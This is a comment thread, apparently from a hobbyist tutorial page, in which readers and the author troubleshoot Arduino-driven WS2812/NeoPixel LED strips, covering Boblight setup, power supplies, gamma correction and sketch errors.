Yeah, the good thing is they will be replacing them. Reading through the support forums it seems like they’ve been having some unknown problems with these strips lately.
In the [device] section of the config file I have this line:
prefix 41 64 61 00 D5 80
I replaced the 0x55 and 0xAA from the sketch and used 0x41 and 0x64 instead. As much as I’ve tried I can’t really find too much information about boblight. One issue I’m still trying to deal with is that when I start boblight, either the first or the last LED in my string is purple.
Dave
OK, got mine up and running … it’s awesome!
I did however use the Sketch from NeoBob which uses NeoPixel, and performs very well. Might be worth a try.
So far I had only one LED fail, which I initially shorted to bypass, but I had a few LEDs left over so I did cut the bad LED out of the strip and replaced it with a working LED.
Next issue: making a proper config file, but I’ll keep that one for tonight so I can actually see the color differences well
.
hans
That’s great! I will definitely have to try that NeoBob sketch. I’m hoping that will solve my problem with the first or last two LEDs lighting up purple.
The config file still confuses me a bit. I think I need to find a better script to create mine because the one I was using is a little difficult to use.
dave
So I got my new lights today and everything is working great on the hardware side, but the software side definitely needs some tweaking. The NeoBob sketch is working much better than the sketch from the Russian site with a few caveats. The last two LEDs are still always turned on to purple or blue. Have you experienced this at all?? I also feel like the colors with the Russian sketch were more true to the screen whereas the NeoBob sketch seems a bit off. The blacks are also not represented very well with either sketch. I’ve spent a ton of time trying to change the different values for boblight and the sketch and have not been able to get everything dialed in. Have you had any more luck with this??
Dave
Hi Dave!
Last two LEDs on or “frozen” in a color … I’ve seen that in two scenario’s:
– When the number of lights and channels (=lights*3) do not match up
– When your power supply is not keeping up (set brightness lower if you can)
As for the colors: Yeah, I noticed that the colors aren’t always that “true”, but I haven’t spent time on that part yet.
(still working on it).
I’ve been toying with the LED positions and got tired of doing this with scripts so I decided to write my own program
I would like to focus, once the program is done, on what the NeoBob Sketch is doing with the colors (vs. the Russian Sketch).
If you’re saying that there is a difference then we might have to take a peek there …
hans
Oh and if you’d like to see “untrue” colors, and lag, then look at the video I recorded.
Please never mind the music: I only used the video clip of a laser show I found on YouTube, just to see how “fast” things are.
hans
Made some really good progress today ….
1) Finished the application to create a config file and it works GREAT
…
2) I also created a test video (to verify my App) which also works great! (planning on releasing a Windows, MacOS X and Linux version)
Bot should be available soon, if you’d like I can email you the test video (it’s about 1Mb). No need to let me know your email address, I have it, but I just don’t want to sent unsolicited emails.
Tonight I’ll be working on speed (get rid of the lag) and I’ll take a look at the Sketches of NeoBob and the Russian website – see if I can get color better.
hans
I think I finally got my config file just how I want it, but I wouldn’t mind trying out your app. The one I was using didn’t have a lot of options and I had to manually change some settings in the device section.
Per your advice, I was able to get rid of the pixels that were stuck on by matching up the number of channels and the number of LEDs.
My colors seem to have gotten a lot better since I changed the hscan and vscan to only 5%. The only thing that I am really having trouble with is blacks. Whenever there are dark areas it seems like it is still able to pick up something and it lights it up whatever color it thinks is there even if it is a very small amount.
Dave
Another tip:
I increased the baudrate (460800) and added priority (99) to the [device] section in the config file, which seems to reduce the lag – but to be honest at this point I’m not sure anymore how to measure the delay … I’m guessing app. 0.5 seconds.
hans
I’m still using a baud rate of 9600 and I haven’t experienced any lag so far. what kind of settings are you using in boblight? I have mine set to slow for tv shows and movies. Fast was bit distracting and I still haven’t figured out how to properly set up the custom setting. I forgot to mention, you can definitely send me that test video. I’ve been trying to figure out the best way to see how certain sections are working and if they are working correctly.
Dave
With everything we’re chatting about here, I think it’s better to move the conversation to the forum, if that’s OK with you.
I start a post here.
hans
This article is very helpful! I have one question though. Is a 5v power supply adequate to run the Uno? I am trying to do a similar project but am confused about how much external power to use since the Adafruit strip says to not exceed 6v but the Uno says recommended voltage 7-12v with a minimum of 6v. Does the minimum not apply if you are not using the arduino 5v pin to supply power to anything else?
Melissa
Hi Melissa,
hans
Hi,
can you please tell me what I need to order to startworking with this?
Wich development board do I need? Which micro-controller do I need to do this?
Thanks
Mike
My apologies …
In this article I used a simple 2A 5V power supply, an Arduino Uno R3 and a strip of WS2812 LEDs.
hans
OK I ordered a Arduino Uno R3 with an Atmega328.
so you are using the atmega328 that comes with the Uno R3.
The Atmega328 seems to be high in price. Is it possible to use a “cheaper” controller?
Mike
Yes, when you buy an Arduino Uno R3, the microcontroller will already be included. You do not need to buy a separate one.
If you’re looking for a cheaper version:
Quite a few Chinese manufacturers (find them at eBay, Amazon, Alibaba, etc) sell Arduino Uno R3 clones for less.
If this is your first Arduino, then getting the real deal might be better than a clone a clone.
However: Most clones work great as well.
Keep in mind though that some of the clones might not look exactly the same as the real Arduino Uno R3, which sometimes can lead to confusion. If a picture is posted with the product: compare that with the picture of the Uno and see what the differences are (pin locations, in names).
p.s. The “real” Arduino Uno R3 can be bought at places like eBay and Amazon as well.
hans
ok thanks Iwill get my arduino board tomorrow and will try to get it working.
Regarding, the cheaper controller. Is it possible to use a cheaper attiny insetead of the atmega328?
Mike
For a simple project like this one: Yes, I would assume so.
Maybe it’s easier to look at this comparison of the different models, there is for example a Nano with the same ATMega328 …
hans
I am thinking about buying a 5m strip on eBay and cutting it into five 1m sections and connecting the strips together.
If I do this, it looks like I would need a hefty 5V power supply that can source at minimum 10 amps. Does that sound right?
L.K.
That sounds right – it’s actually what I use.
I have 5 meter, with 60 LEDs per meter, and I bought a 5V 10A Powerbrick on Ebay. Has been working very well for quite a while now …
hans
Can you point me to the power supply you bought? Always want to buy something that I know works.
L.K.
I got this one from eBay … 5V 10A Small Form Factor Switching Power Supply (US $26)
It’s been running for at least half a year now, with 290 LEDs, and doesn’t even get warm.
(I do however, always recommend keeping power supplies well vented, so don’t stuff it in a tight unvented spot)
Some of the specs (copied from eBay):
These are awesome 5v DC, 10 amp (50 watt) switching power supplies perfect for driving your LED lighting setup (or any other 5V needs you may have). They come in a “laptop adapter” type plastic shell, which makes them perfect for just about anywhere. These will drive ANY of the intelligent lighting I sell, but they’re perfect to drive a whole roll of the 32 LED/m WS2801 or LPD8806 products I stock. These will also gladly drive shorter lengths (approx 2.5-3M) of the higher density LED products as well. Look at my other listings for bundles!
Basic specs are:
– 110/220v input
– 5V DC output, up to 10A (50 watts)
– Ultra compact fully enclosed (NOT waterproof) plastic shell – measures approx 5.5″x2.25″x1.5″
– 5.5mm x 2.5/2.1mm DC barrel jack output connector (“spring” type, works with both 2.5mm and 2.1mm ID plugs)
– USA style two prong power cord included
hans
That is exactly what I am looking for.
Thank you!
L.K.
You’re welcome and I’m sure others might benefit from this info as well
…
Enjoy your project
hans
I received my WS2812B LED strips from China this weekend.
Now ready to start. :-)
If you were forced to pick, do you prefer the NeoPixel or FastLED library?
L. K.
Awesome!
I think my preferences would go towards NeoPixel (as you can see in my BobLight project).
But to be honest, FastLED is most certainly very good as well and the difference in programming might make you chose (it did for me).
hans
Excellent.
Now I have an aesthetics question.
The LED strip that I bought on eBay has 30 LEDs/m.
I want to create a LED matrix with this 5m strip, so I was thinking about cutting it into 1m strips.
How far apart vertically do I space the strips to make it look right?
Horizontally, the LEDs are spaced about 3.3cm apart. The strips are 1cm in height.
So would I space them vertically about 2cm apart? 0.5cm + 2cm + 0.5cm.
L.K.
Good question … I guess it depends on what you’re trying to accomplish. For a nice symmetric matrix I’d start with spacing the strips vertically so the distance between leds is the same as the horizontal distance between leds.
Then again … most screens are not symmetric either. It seems that the width of a pixel is more than the height of a pixel, which suggests putting the strips slightly closer to each other in the vertical direction.
Finally; what is the display supposed to display? I guess that’s an important question as well.
Why don’t you just lay them down on the floor and temporary use wires between the strips that are long enough so you can move them around until you see what you like best?
hans
instead of working with little delays it works fine with raspberry pi. thanks again.
Seyhun
Hi Seyhun!
Glad it works, but I’m not sure what you mean with little delays?
hans
I finally have a scrolling horizontal message working with my WS2812B RGB LED strip.
One minor issue: it appears that the red and green LEDs are switched.
When I have CRGB::Red in the code, I get green. And when I have CRGB::Green, I get red.
Am I doing something wrong to cause this?
L. K.
I read on adafruit you have to use GRB instead. Switch that and it should work.
Nick
Thanks Nick!
hans
Thanks Nick. That is what is needed.
The FastLED comes with a sketch to do RGB calibration. The developer Daniel Garcia responded on the FastLED community over at Google+. The sketch confirmed that the LED strip I have has the red and green reversed.
Since the manufacturer reversed the red and green, does that mean that the LED strips sold by Adafruit are like that? The NeoPixel library works without my having to make any changes.
L. K.
Not all of the strips have them switched. It depends on the manufacturer I believe. I don’t know enough about why they get switched though. If it appears they are, it’s easy to switch from RGB to GRB in software.
The strips I have from adafruit are aRGB for me.
Nick
Switching the colors appears to be relatively common, even though I have yet to run into that situation.
I have read somewhere, but I could be wrong, that you can use CGRB instead of CRGB – might want to give that a try. Some LED types have Green and Red swapped like you described (manufacturer specific it seems).
hans
Thanks for the thorough read through. I have been working with a friend to set up a wifi based color picker (an app we made for our phone) and we’ve been getting some large color representation differences. Do you have any experience with that?
Currently, RED, YELLOW, and BLUE all look great individually. It’s the in betweens that are off (especially in the yellow hue range). It might be a byproduct of the color representation from LED and our LCD screens, but I thought I would ask. We’ve debugged the color conversing from aRGB to Hex and it’s all accurate.
Example, try the color aRGB (255,255,225,53) or HEX #ffe135 or with alpha #ffffe135 on the strip. On screen it is Banana Yellow, but the neopixel is showing us a color closee to white! Not an accurate representation at all! Although (255,255,255,0) or #ffffff00 is represented extremely well!
Any thoughts? Cheers.
Nick
Hi Nick!
Well, when I look at using the LEDs for Boblight, I see that every Boblight variant has a gamma correction option, and I suppose that exists for a very good reason. If banana yellow becomes almost white, then I suppose gamma correction must be applied.
Some reads I found:
– Wiki Gamma Correction (very theoretical – so I’m not sure how useful it will be for you)
– Image Processing Algorithms Part 6 – Gamma Correction (pretty good article!)
– Stackoverflow – How to process gamma correction if having RGB data (short and sweet!)
Hope this helps you on your way.
hans
I thought it might be some sort of gamma correction, but I couldn’t find the code that could be causing it. The adafruit library is a bit complex to read through, but I did find where it splits out r, g, b and it doesn’t seem like it’s doing any mathematical conversions. We aren’t adding any conversions on our end, so realistically it should be 1:1.
I’ll do some testing with the information you posted and report back. If anyone can try that specific color and tell me how close it matched, that would be great! Thanks again for the info.
Cheers.
Nick
When quickly looking at the way to set a pixel color, I see that FastLeds has a way of setting each R, G and B value.
Example:
Slightly different for AdaFruit:
This would be where you could apply the gamma correction in your own sketch …?
When I try HEX #ffe135 in Photoshop, it’s a nice full yellow … almost banana yellow indeed.
hans
Yep. We’re using the second approach with setPixelColor ( n , color ). Can you try that hex on an led and see what result you get? I’ll have to test out a gamma correction method this afternoon.
Nick
Solved! We ended up using a look up table and it seems to have fixed the color issues we were having. Banana yellow now appears to be banana yellow! WOOHOO! The lut was found on this forum post:
I’ve posted the code we used below:
protected int[] GAMMA_TABLE = new int[] {
};
Color col = new Color();
col.R = (byte)GAMMA_TABLE[(int)color.Color.R];
col.G = (byte)GAMMA_TABLE[(int)color.Color.G];
col.B = (byte)GAMMA_TABLE[(int)color.Color.B];
Nick
Awesome!
Thanks Nick for posting it here as well!
hans
When the installation is complete and everything is up and running I’ll be sure to post up some videos of it working. :D
Nick
Excellent!
I’ve been thinking of starting a little (big) project to analyze a video feed, to make a Boblight type setup that works for all video on my TV … analyzing the correct colors would be problem one. The harder problem would be: how to heck do I get video from those modern TV’s and what hardware would I need to convert it to colors for the LEDs.
One idea I had was using a cheap webcam in super low resolution, but then I realized that it would look ugly (having a camera in front of my TV) and that it would “convert” glare and such as well.
That project has to wait a few months though … come with quite a few challenges.
hans
Looks like we were using an older LUT that doesn’t allow for the full range of the new neopixel strips. This is the LUT that should be used so there is full 255 range. An adafruit admin gave me this information in a separate post.
uint8_t gamma[] PROGMEM = { };
Since the table is in PROGMEM, the adafruit admin says you need to use pgm_read_byte() to fetch elements, e.g.:
CODE: SELECT ALL | TOGGLE FULL SIZE
bar = pgm_read_byte(&gamma[foo]);
Where ‘foo’ is the original (un-corrected) brightness (0-255) and ‘bar’ is the gamma-corrected result (also 0-255).
Nick
Nice!
Thanks for sharing Nick, VERY much appreciated!
hans
Hi Hans!
you’re a wonderful teacher and I thank you very much!!! I followed the steps you described and TADAAA!!!
Thanks for your involvement in sharing your knowledge across internet (and the page design is very nice as well)
Mat13
Thanks Mat13! Always great to hear positive feedback, and I’m glad the article was helpful to you!
hans
[…] Summary of WS2812B LEDs. […]
Hi there,
Is there a possibility to connect the Strip to the Embedded Pi and to configure it through this?
Vaskyy
Vaskyy
I’m not familiar with this little guy, but by the info in the pictures I’d be inclined to say Yes.
hans
WoW thank you for the quick reply ;)
Vaskyy
You’re welcome!
hans
Hi,
I have this strip and an Arduino Mega. What I’d like to do is assign the lights to come on one and a time and then go off (there are 15 in my strip) in a random pattern. So, there would only be one or two lights on at any time. I’ve been searching for a sketch to do this but haven’t found one. Can you help? Thanks!
Claire
Hello Claire!
I’m assuming you mean something like a “running” light?
Well, either way: You’d have to do a little programming.
The following examples use “Adafruit_NeoPixel“.
To set a LED color, set LED 10 to red for example:
To switch LED 10 off, you’ll have to set it to black (0,0,0):
Before calling strip.show(), you can set all other LEDs, so you have to call it only once.
So for your idea (if I understood it right) you’d probably want to do something like this:
You’d have to play a little with this … specially since “random” isn’t really random. (see also: Arduino Random)
Hope this helps a little – feel free to ask if you need more assistance.
(p.s. I’m traveling at the moment so I don’t have any Arduino/LED gear with me to test …)
hans
Oops little typo in the code:
hans
Based on the email you sent me:
Considering the code in the article, your code will look something like this:
Hope this helps
hans
Hans,
Thanks for your reply! This sketch didn’t work. I wish I knew enough to try to figure out why, but all I can do is copy the error messages. Here’s what I got:
spotlight.ino: In function ‘void loop()’:
spotlight:25: error: ‘leds’ was not declared in this scope
spotlight:29: error: ‘c’ was not declared in this scope
spotlight:36: error: ‘c’ was not declared in this scope
Claire
Claire
Hi Claire,
no problem, let me see if I can help – My apologies for the errors, I had to write the code without any hardware to test.
Please give this a try, I removed some comments and addressed the lack of defining “c” and the fact that “leds” was not needed after all.
Let me know how it works …
hans
Hans,
We are getting somewhere! This is exciting. The sketch uploads and works now. What it does is turn on LED 1 for 6-18 seconds, then it goes off and LED 8 immediately goes on for 6-18 seconds. Then that pattern repeats. So I’m only getting 2 lights coming on.
I agree that random isn’t really what I want. I want an irregular pattern, maybe 1,5,7,15,1,3,8,10,2,4,1,12,6,14. Something like that, so it looks random. I also need there to be 2 seconds of darkness in between each LED lighting up. And each LED should light up for 2-10 seconds. Your next challenge! I’m impressed you can just do this “on paper” without testing! And thank you again for your help!
Claire
Claire
Hi Claire!
You’re welcome, I love it when folks try these kind of things even though they are not experts. Kind-a the motto of my website is to make stuff like this accessible for everybody … sharing knowledge makes life better for all of us
…
The Sketch does not seem to behave like I wanted it to. The timing seems off (we just use 3 second delays) and the repeat of pattern is not right either. The timing is a little odd, the repeat of pattern might be avoidable by setting the random seed in the loop() function.
Can you test this modification:
hans
Hans,
The random pattern looks pretty good, but I still would prefer an irregular sequence as I mentioned before. The lights will be lighting up a scene so if LED #7, for example, hardly ever goes on, which might happen with random, that would be bad.
There is still no delay between light changes.
I now have a new problem! I hope you can help. I’m emailing you a picture because I don’t know how to post one here. My scene is in a box that’s 10″w x 5″d x 14″h. The lights will shine down from the top. I don’t think I can bend my 15″ LED strip to fit into that shape. I am looking on the Adafruit website for another LED setup that will allow me to evenly space the lights, maybe 8 of them, on this 10″ x 5″ surface so that they’ll shine down. I haven’t found the thing I need so far. I’d like to avoid cutting and soldering if possible, since that’s a whole other thing I know nothing about! And my show needs to open in a few weeks.
If there’s not a pre-existing thing available, it could work to use the strip I have and limit the light pattern to the first 8 LEDs. Then I can lay the strip onto the top of the box face down.
As always, thank you for your help!
Claire
Claire
Hi Claire,
Well, as far as the pattern goes, since I don’t have anything with me tot ry it with, I’ll have to do some thinking in how we can use an array of values – I’ll try to post some code for that later today.
Your new problem; I think you have 3 options, two of which you’d like to avoid (soldering).
You can cut the strip, or buy individual LEDs, but you’d like to avoid soldering so that’s not an option.
The other option is to buy LED’s that are not fixed in a strip, something like these from Adafruit (wrong LED model [ws2801] in this example!). Check out eBay, maybe you can find them there, although I assume that shipping time might become an issue.
In all honesty: I’d go for option to solder, either by cutting strips or using individual LED like these, these or these from Adafruit, since they are easier to work with when not having too much soldering experience.
hans
Hans,
Here’s the error message I got on this sketch. This is the “verbose” version.
Arduino: 1.0.6 (Mac OS X), Board: “Arduino Mega 2560 or Mega ADK”
/Users/claire/Downloads=106 -I/Users/claire/Downloads/Arduino.app/Contents/Resources/Java/hardware/arduino/cores/arduino -I/Users/claire/Downloads/Arduino.app/Contents/Resources/Java/hardware/arduino/variants/mega -I/Users/claire/Documents/Arduino/libraries/Adafruit_NeoPixel /var/folders/8t/mjxdbzp94zqff5dvs84yk4s00000gp/T/build7107361827568138670.tmp/sketch_nov10b.cpp -o /var/folders/8t/mjxdbzp94zqff5dvs84yk4s00000gp/T/build7107361827568138670.tmp/sketch_nov10b.cpp.o
sketch_nov10b.ino: In function ‘void loop()’:
sketch_nov10b:29: error: ‘PatternPosition’ was not declared in this scope.
I like the strand of pixels. I could use them for something else after this show too! The tutorial says:
“Connecting to Arduino
To use our example code for Arduino,.”
I assume I can connect the red to the 5V pin, right? And I’ll get a 5V, 2 Amp power supply to run it.
Thanks!
Claire
Claire
It seems I made a typo in line 5 which was
but should have been:
(notice the extra “n”).
As for connecting the wires, in my sketch I use pin 6 instead of pin 2.
A 5V 2A power-supply should be sufficient.
hans
Hans,
Well, I’m rather proud of myself. I made the correction to the sketch as you noted, but there was still no delay. However, I noticed that the delay did work in the previous sketch. I compared them and saw that the line “strip.show();” was missing. I put it in and the delay works!
I also changed 14 to 8 so only the first 8 LEDs will light and that also worked.
I’m sorry I haven’t been replying consistently in the thread so the messages aren’t exactly in order. :(. The sketch I edited to work is the one from November 7. The sketch from November 10 makes LED #2 go on for 3 seconds and off for 3 seconds. No others light, but the delay works.
I just ordered the light string and power supply. My opening is December 7 so I should have time. When I get those, I’m hoping the sketch will work. If not, you’ll hear from me again ;0. Thanks so much for your help so far!
Claire
Claire
Well done Claire!
The more you figure out this way, the more creative you can become with these kind of microcontrollers.
Please email me a picture of your project once you’ve got it running. I’ll try to post it here then (if you’d like) to motivate others for such fun projects.
hans
Hans,
here are pictures of my piece:. the second one isn’t very good; it’s from inside, showing how I cut a channel in the foam board for the light strip to lie in. It worked well, but ideally, I would have used a more flexible strip so the lights could have entered the box from the sides as well. As it is, the direction the light came from didn’t vary as much as I wanted, even though different lights came on at different times. You can see how it looked here:.
Thanks again for all your help!
Claire
Claire
Awesome Claire!
Really cool to see less technical folks having fun with the Arduino and LEDs as well.
I really like seeing your project here!
I’ll be looking forward to future projects
hans
You could try this (I think I found why the LEDs didn’t go off as well).
It’s is based on 8 LEDs as suggested in your drawing, but you simply add more numbers if you need more, just make sure the numbers do not exceed the number of LEDs you have.
The array is 8 positions long (myPattern), and counted from 0 to 7 which equals 8 positions.
It calculates the size of the array as the number of LEDs you have.
hans
Hans,
I’m back. I got my WS2801 strip () yesterday and I have no idea how to attach it to my Arduino Mega board. It comes with JST SM type connectors on each end and those connectors have 2 more wires coming out of them. Do they connect directly to the board or do I need another part?
Thanks!
Claire
Claire
You did probably get the wrong type of LED strips, you need the WS2811 or WS2812 for the project described here.
…
The WS2801 is a kind of predecessor of these with 2 more wires and a different controlling mechanism – the AdaFruit Library does however support them. I however have never tried those and am not 100% familiar with how to wire them
I did find on the AdaFruit website this article showing the wiring – hope this helps
…
hans
Hi Hans,
you made a really great work!
I’m a newby in Arduino, since I did use PICs in the past. For a matrix project (with ws2812 stripes) I bought a “teensy” (Arduino compatible) with the octo2811 hardware extension.
Now my question: I would like to play back the output of i.e. Jinx! or Glediator to my matrix. This means, I would like to use the Arduino as an USB interface to a PC. Jinx! can feed an USB interface, but how do I get the data from Arduino’s USB to the matrix (16 lines with each 40 LEDs, built in “snakelines”)?
Do you or does anyone have an idea or is there already a solution? I did not find something suitable so far.
Thx in advance,
Walter
Walter
Hi Walter …
Thanks for the nice compliment
…
Your project sounds interesting, but unfortunately I’m not familiar with Jinx! (this one?) or Glediator (is it this matrix LED control application?) …
For Glediator, there seems to be a sketch available (here).
I’m not sure about the documentation, but I would expect for either applications that a description exists? Maybe the sketch needed for either are even the same?
Hopefully other readers pick up on your question and add additional info …
hans
Hi Hans,
thx for the link to the Glediator sketch. It sounds interesting, however, it is limited to 512 pixels (my matrix is 40×16). I already own a hardware controller that is also limited to 512 pixels
. I’ll keep on trying….
Best regards,
Walter
Walter
Ouch, that sucks … only a few LEDs difference and you’re stuck.
Did you try looking at the forums of Jinx! or Glediator (if there are any) ?
I can imagine that others run into these limitations as well?
hans
Well, I am just at the beginning of that project (as far as the software issue is concerned; the hardware is ready). Of course I found some infos, but so long none of them were really helpful. The forums are of course a good idea; i will take a look.
Probably Arduino’s limited amount of ram might be a problem – 640 Neopixels consume about 2kByte of memory. Most of the projects are written to be compatible for the Arduino uno which has 2kB Ram, I think. However, the Ram problem does not consist with the teena, which has 64kB! Let’s see…
Walter
Sorry, I meant “teensy” of course.
Walter
Hi Walter,
I’m curious, you could be right about the RAM limitations. Teensy and/or Mega might be a better choice indeed.
But how would you control 640 LEDs if the software (applications you mentioned) only handle 512?
Keep us posted! Sounds like an awesome project you’re working on.
hans
I found something interesting here:
This little box seems to do all the things I want – convert the tmp2 protocol from Jinx! etc. to the ws2811 matrix and even playback from sd-card. So, why to invent the wheel again?! I think I will order one, but I will try to keep my own setup running, too.
I’ll keep you informed.
Walter
Hello creator,
Would you talk about how can you give command to LED strip when the Arduino broad is without connecting to computer?
Thanks
lucien
Hi Lucien,
I’m not sure what you mean with your question, since this article describes how to control the LEDs without the need for a computer (unless you use the computer as the powersupply)?
Please elaborate.
hans
Lucien,
Once you have uploaded your sketch to the Arduino, the Arduino may be disconnected from the PC.
When the Arduino is connected to the PC, the Arduino gets its power from the PC.
When you disconnect the Arduino from the PC, you will need to connect it another source of power. Hans has a diagram above that shows you how to make that power connection. //
L. K.
Thanks Lucien for chiming in!
Excellent!
hans
Hi creator,
Here is the other question.
The function called theaterChaseRainbow in the example of Adafruit strandtest, which line/part is controlling the chasing speed of the led?
How to make it faster in Rainbow color?
thanks for your kindly reply
lucien
Hi Lucien,d
In line 32 you’ll find a call to this function. The parameter passed is the delay. So
could become:
Hope this goes fast enough,…
hans
Hi there, I have a couple of questions, I am planning to use a Strip on a QuadCopter to show the different flight modes (i.e Attitude Mode = 5 Red LED’s mounted on the rear of the craft another i.e Rate Mode = the same 5 LED’S used in attitude Mode). Also, on each arm of the craft will be 6 LED’s, those will show orientation and some other functions, not really important to this question.
The SETUP
1. I plan to use 32 (maximum programmed in LED script for the craft.
2. The Craft Flight Controller outputs various voltages (3V – 5.4V)
So, the question is …
a. How can I get a full 5V to the End LED’s in a string of 32
I do have an additional UBEC (Universal Battery Elimination Circuit) which drops my 12V Lipo batter down to 5.4V but it doesn’t seem to be enough to power the full strip of 32 LED’s
Thanks for any advice!
Richard
Richard
Hi Richard,
having a DJI Quadcopter myself, I suspect that the battery does not supply enough Amps. Have you tried less LEDs? I’d start with one if possible, but since it’s most likely a strip you’d like to use, I can imagine that to be difficult.
I assume the battery provides 5.4V, but as the load increases, the voltage may drop even below 5V.
It might be an idea to look for 3.3V (or less) LED strips, then again, that might not work either, as the used wattage (volt x amps) might remain consistent.
hans
Hans
Thanks for the prompt reply,
Can you get addressable 3V LED strips?
Richard
Richard
Hi Richard,
I have not found any in the past few minutes, except the LEDs used by AdaFruit (Flora NeoPixel – but those are individual LEDs and they can run on 3.3V but might be less bright, which might not be good enough for your application).
hans
How about never drive more than 1 LED on at a time. Sweep all of the LEDs quickly using pov to have them all appear on? This will reduce your overall current draw on your battery system while retaining what appears to be all LEDS lit if necessary.
Dannlh
Hello Hans,
very nice made tutorial. But one question comes up:
On “figure5” the external 5V source is conected to the “5V” PIN on the arduino.
As I remember is this an regulated output and the source should be connected on the “Vin” PIN.
I am wrong here?
best regards
Martin
Martin
Hi Martin,
Thanks for the compliment,…
You’re not wrong!
I understand that Vin is the preferred method.
However +5V works as well when using a proper power-supply.
p.s. I’ll add a note about that in the text.
hans
Hello Hans,
first of all, thanks for this awesome tutorial! It is really great!
But I have some problems with the LED Strip. It wont light up! :(
My Setup:
WS2812B LED Stripe with WS2811 Controller (for testing purposes 12 LED’s)
Power Supply with 5V 8A
Arduino Uno
Everything is wired like you did it in the image above. (Except for the resisitor)
When i upload the sketch “strandtest” from the latest NeoPixel Libary nothing happens after the Arduino IDE shows me that the Upload was sucessfull.
I have also corrected the code for the arduino.. but nothing happens.
At first i thougt that the LED’s are broken, but then, when i plugged them out and in again, i saw that some of the LED’s light shortly up. If i repeat this process there are everytime other LED’s that are lighted up.
Can you help me?
Best Regards,
Tiz
PS: And sorry for my bad English ;)
Tiz
Hi Tiz,
Don’t worry about your English … it’s perfectly readable
…
First thing I’d check is if the arrow on the strip is pointing in the right direction (“away” from the Arduino).
Next thing to check is if power is connected properly.
And finally the wires to the Arduino (fig.4 and 5) pin 6.
It should work with the sketch from this article, after you changed it to 12 LEDs in the code of course.
If these seem OK, then it’s time to test if there is an issue with the strand you’re using – In one of my strands for example, the first LED was defective, and as of that LED nothing worked. Easiest test would be by trying another strand with your current setup. See if that one fails as well.
If none of this works, then it’s time to start toying with the settings
Try the NEO_KHZ400, …. with the RGB/GRB variants, only the colors will be wrong, but you should still see them light up.
All under the assumption that the strip is indeed a WS2811 or WS2812 of course.
Let me know if none of this works …
hans
P.s. Thank you very much for the very nice compliment – cool!
hans
I’ve been having the same problem (using Arduino Diecimila and FastLED). The examples do not seem to work, but the strip flashes once when the power supply is turned on.
I’ve also noticed that the first LED never seems to flash, possibly suggesting some defect. My question is if I simply remove the first LED and solder again on the second will that fix the possibly faulty connection? The strips take a long time to arrive here so I can’t really test with another strip very quickly.
Thank you and best regards!
Mehmet
Hi Mehmet!
Yes, that would work, assuming the first LED is indeed faulty (see also my Boblight project, where I have a few paragraphs in the chapter “Mounting LEDs” about splitting and combining).
You might be able to skip the LED as well, for a Quick test. For that, connect the Di wire straight to Di of the second LED. +5 and GND can remain on the first LED. This way you don’t have to do too much damage in case the first wasn’t faulty. If everything works fine, then you know the first LED is not working correctly and then you can go to the plan of cutting it off and attaching wires straight to the second LED.
I have found in 2, of the 5 strands that I have, a faulty LED. I have heard others having similar problems.
I hope that made sense haha
…
hans
Hi,
I try to compile your sketch (FastLed version) and I receive the message:
error: no matching function for call to ‘CFastLED::addLeds(CRGB [8], int)
I have only 6 leds and Arduino IDE is configured for a Trinket 5V
How can I solve that?
Thank you for your time
Gabi
Gabi
8 not 6
Gabi
nevwermind. sorted. pin allocation was wrong
Gabi
How did you sort this? I am having the same issue
Ziv
chenge the line to:
FastLED.addLeds<NEOPIXEL, PIN>(leds,NUM_LEDS);
There is no RGB var in this line.
fr3sh
Glad to hear you’ve found the solution!
hans
Hi everybody,
I used 5V from computer for 8 chips of 2812 (pcb for testing from ebay), arduino is powered from USB. In this case it is not necessary to connect the grounds I guess…??? Optimized source code for 8 leds, output pin, frequency is right, but the leds even didnt come on. (tx&rx are blinking in the right interval) LEDs are also OK, because when I turn on my soldering iron near to them, they came accidentaly on in random colors due to interferences. What I did wrong? (My connection was w/o resistor)
Thanks for advices.
Mr.Yourself
The LEDs would need Ground as well, and 8 LEDs means that you need to do the math on your PowerSupply.
Not 100% sure how many Amps the Arduino pulls, but the LEDs alone is already 8 x 60mA (480 mA). If your Power supply is not “strong” enough, the LEDs will not go on. LEDs going on when the soldering iron is near is not a 100% guarantee that everything in the 2812 is working properly.
hans
I need it to write it more accurately: Of course the LEDs are connected to ground, they are powered directly from computer 5V, I dont worry about the computer power supply, it has enough power. And I the case the LEDs and arduino has common power supply, it doesnt need the connection between Arduino ground and LEDs ground…? But anyway, even when I connected grounds, nothing happened. I had arduino just one day, without much time for testing, still waiting for my own from ebay. Im gonna write more details when I get it and test it with program code written here with fast led library. I suspect the program code, which I copied from somewhere, wasnt right (based on adafruit neopixel library).
Thanks
Mr.Yourself
Do you mean that the 5V comes from the USB port? In that case you might be facing power limitations, which is defined by the USB standard and independent of the power supply in your computer …
But if power would have been sufficient (try one or two LEDs instead of 8?), something should happen
.
Also note the direction of the data flow from LED to LED … it needs to be in the right direction otherwise it will not work.
So from Arduino to LED1in, from LED1out to LED2in, from LED2out to LED3in, etc …
hans
No, I would not connect the LEDs to the USB. As I wrote, they are connected directly to the 5V from power supply (wires for HDD´s) It is definitely enough, I can turn all the 8 LEDs on with random colors everytime I press the soldering iron´s button :-) -the wire from Din terminal works as antenna I guess. Here is link to the PCB with ws2812 I have.
If you´ll be so kind and check the code which I have uploaded to arduino:
Now I am just asking myself: If arduino with this code send every 2 secs request through USB, which application send the data with colors on monitor back to arduino, how does it work? Is possible to customize the library regarding position of LEDs, for second monitor and so on..??
Thank you.
Mr.Yourself
That code is rubbish. It was written by someone who has no idea of how an Arduino works. To get anything out of it you have to open up the serial monitor from the Arduino IDE and type rubbish characters into it.
If you want to check the hardware why have you not used the examples that came with the Adafruit library?
Grumpy_Mike
I have to agree with Grumpy_Mike … it’s better to start with the AdaFruit examples.
hans
Oh nice find – just the kind of strip I was thinking of for another project I have in mind, thanks for posting the link!
As for your question, you might want to look at this article. It’s my Boblight project and does exactly what you’re looking for.
Boblight, and there are others, analyzes the video output and converts it to code for your LEDs.
Doing this for multiple monitors might a bit tricky, I have not seen anyone do this and I’m not sure if Boblight (or others) even support this.
hans
Everything solved, I tried different code and the strip works perfectly. Also when I installed 32 bit processing instead of original 64 bit, ambilight works perfectly. It just need to calibrate colors & probably filter the incoming voltage, because some colors are not stable and flickering.
Mr.Yourself
Awesome! Glad to hear that.
hans
Hi. I’m using the Adafruit Library, but i can’t solve following problem:
I have 3 stripes 144 leds each. If i start my program or standard test i have always the same problem (170 or 180 led)
The program begins to show another colors and begins to flash. i tried with different platforms Uno and Mega but i have always the same problem. I am using adapter – 20A. I tried to use another library – FastLED, but there i have the same problem. I can’t have that all leds have the same color. I tried to reduce the brightness, but it does’t solve the problem.
